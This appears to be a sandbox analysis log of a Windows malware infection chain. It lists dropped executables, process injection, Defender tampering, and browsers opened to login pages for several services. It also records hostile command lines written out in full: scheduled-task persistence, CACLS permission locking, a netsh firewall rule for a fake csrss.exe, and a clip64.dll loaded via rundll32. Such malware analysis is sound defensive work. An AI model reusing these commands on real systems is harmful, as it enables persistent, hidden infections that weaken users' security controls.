C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Ga9mv64.exe
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4552

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\BZ7rN42.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\BZ7rN42.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1512

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1ax78bl6.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1ax78bl6.exe
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:528

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
5⤵
- Modifies Windows Defender Real-time Protection settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 528 -s 584
5⤵
- Program crash
PID:3044

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2Cy3011.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2Cy3011.exe
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2656

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
5⤵
PID:1844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1844 -s 556
6⤵
- Program crash
PID:1836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 588
5⤵
- Program crash
PID:3116

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3cu29Fh.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3cu29Fh.exe
3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2788

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4ut436jE.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4ut436jE.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:572

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:4068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 572 -s 584
3⤵
- Program crash
PID:4644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 528 -ip 528
1⤵
PID:4388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 2656 -ip 2656
1⤵
PID:1172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1844 -ip 1844
1⤵
PID:1384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 572 -ip 572
1⤵
PID:3992

C:\Users\Admin\AppData\Local\Temp\4D02.exe
C:\Users\Admin\AppData\Local\Temp\4D02.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3232

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\IN8gZ5gn.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\IN8gZ5gn.exe
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:868

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\xU8mT4YJ.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\xU8mT4YJ.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2368

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Fb6jM0Il.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Fb6jM0Il.exe
4⤵
- Executes dropped EXE
- Adds Run key to start application
PID:400

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\nk2Rg5kr.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\nk2Rg5kr.exe
5⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4984

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1dI10GX0.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1dI10GX0.exe
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1800

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
PID:2860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2860 -s 540
8⤵
- Program crash
PID:2144

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2iI657iQ.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2iI657iQ.exe
6⤵
- Executes dropped EXE
PID:2764

C:\Users\Admin\AppData\Local\Temp\4DCE.exe
C:\Users\Admin\AppData\Local\Temp\4DCE.exe
1⤵
- Executes dropped EXE
PID:3480

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4EF8.bat" "
1⤵
PID:1232

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login
2⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3552

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffde1d646f8,0x7ffde1d64708,0x7ffde1d64718
3⤵
PID:1808

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 /prefetch:3
3⤵
PID:4308

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2808 /prefetch:8
3⤵
PID:3900

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3480 /prefetch:1
3⤵
PID:1832

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3460 /prefetch:1
3⤵
PID:3924

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2
3⤵
PID:4936

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4564 /prefetch:1
3⤵
PID:3336

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4744 /prefetch:1
3⤵
PID:5188

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5432 /prefetch:1
3⤵
PID:5540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5600 /prefetch:1
3⤵
PID:5648

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5228 /prefetch:1
3⤵
PID:6036

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6124 /prefetch:1
3⤵
PID:5804

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5544 /prefetch:1
3⤵
PID:5928

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6648 /prefetch:1
3⤵
PID:6452

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6528 /prefetch:1
3⤵
PID:6356

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=7648 /prefetch:8
3⤵
PID:6204

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6228 /prefetch:1
3⤵
PID:1168

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6376 /prefetch:8
3⤵
PID:5136

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8420 /prefetch:1
3⤵
PID:4592

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8804 /prefetch:1
3⤵
PID:3152

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8568 /prefetch:1
3⤵
PID:6428

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9236 /prefetch:1
3⤵
PID:4300

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9096 /prefetch:1
3⤵
PID:4400

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8992 /prefetch:8
3⤵
PID:1280

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8992 /prefetch:8
3⤵
PID:640

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,15917362613271371824,16542398763039715978,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9264 /prefetch:1
3⤵
PID:5812

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
2⤵
PID:3084

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde1d646f8,0x7ffde1d64708,0x7ffde1d64718
3⤵
PID:1440

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2020,16981322912312029156,5468782957279872145,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 /prefetch:3
3⤵
PID:5172

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/
2⤵
PID:4304

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde1d646f8,0x7ffde1d64708,0x7ffde1d64718
3⤵
PID:5060

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login
2⤵
PID:5420

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde1d646f8,0x7ffde1d64708,0x7ffde1d64718
3⤵
PID:5436

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/
2⤵
PID:5920

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde1d646f8,0x7ffde1d64708,0x7ffde1d64718
3⤵
PID:5932

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login
2⤵
PID:5212

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin
2⤵
PID:5860

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/
2⤵
PID:5260

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde1d646f8,0x7ffde1d64708,0x7ffde1d64718
3⤵
PID:5364

C:\Users\Admin\AppData\Local\Temp\4FB4.exe
C:\Users\Admin\AppData\Local\Temp\4FB4.exe
1⤵
- Executes dropped EXE
PID:1596

C:\Users\Admin\AppData\Local\Temp\5071.exe
C:\Users\Admin\AppData\Local\Temp\5071.exe
1⤵
PID:3372

C:\Users\Admin\AppData\Local\Temp\518B.exe
C:\Users\Admin\AppData\Local\Temp\518B.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:888

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
"C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:2108

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
3⤵
- DcRat
- Creates scheduled task(s)
PID:1916

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
3⤵
PID:2696

C:\Windows\SysWOW64\cacls.exe
CACLS "explothe.exe" /P "Admin:N"
4⤵
PID:4296

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
4⤵
PID:840

C:\Windows\SysWOW64\cacls.exe
CACLS "explothe.exe" /P "Admin:R" /E
4⤵
PID:4192

C:\Windows\SysWOW64\cacls.exe
CACLS "..\fefffe8cea" /P "Admin:N"
4⤵
PID:2140

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
4⤵
PID:2896

C:\Windows\SysWOW64\cacls.exe
CACLS "..\fefffe8cea" /P "Admin:R" /E
4⤵
PID:5016

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
3⤵
PID:4396

C:\Users\Admin\AppData\Local\Temp\540D.exe
C:\Users\Admin\AppData\Local\Temp\540D.exe
1⤵
PID:1268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1268 -s 784
2⤵
- Program crash
PID:4724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1268 -ip 1268
1⤵
PID:2532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2860 -ip 2860
1⤵
PID:4540

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5180

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5400

C:\Users\Admin\AppData\Local\Temp\7C18.exe
C:\Users\Admin\AppData\Local\Temp\7C18.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:5900

C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe
"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"
2⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:3372

C:\Users\Admin\AppData\Local\Temp\Broom.exe
C:\Users\Admin\AppData\Local\Temp\Broom.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:1268

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
2⤵
PID:5268

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
3⤵
PID:6740

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
2⤵
- Executes dropped EXE
PID:5216

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
3⤵
PID:4980

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
3⤵
PID:6920

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
PID:1280

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
4⤵
PID:6272

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
5⤵
- Modifies Windows Firewall
PID:6816

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
PID:2336

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
PID:116

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
4⤵
PID:392

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
PID:6948

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
5⤵
- DcRat
- Creates scheduled task(s)
PID:184

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
PID:6212

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
5⤵
PID:7072

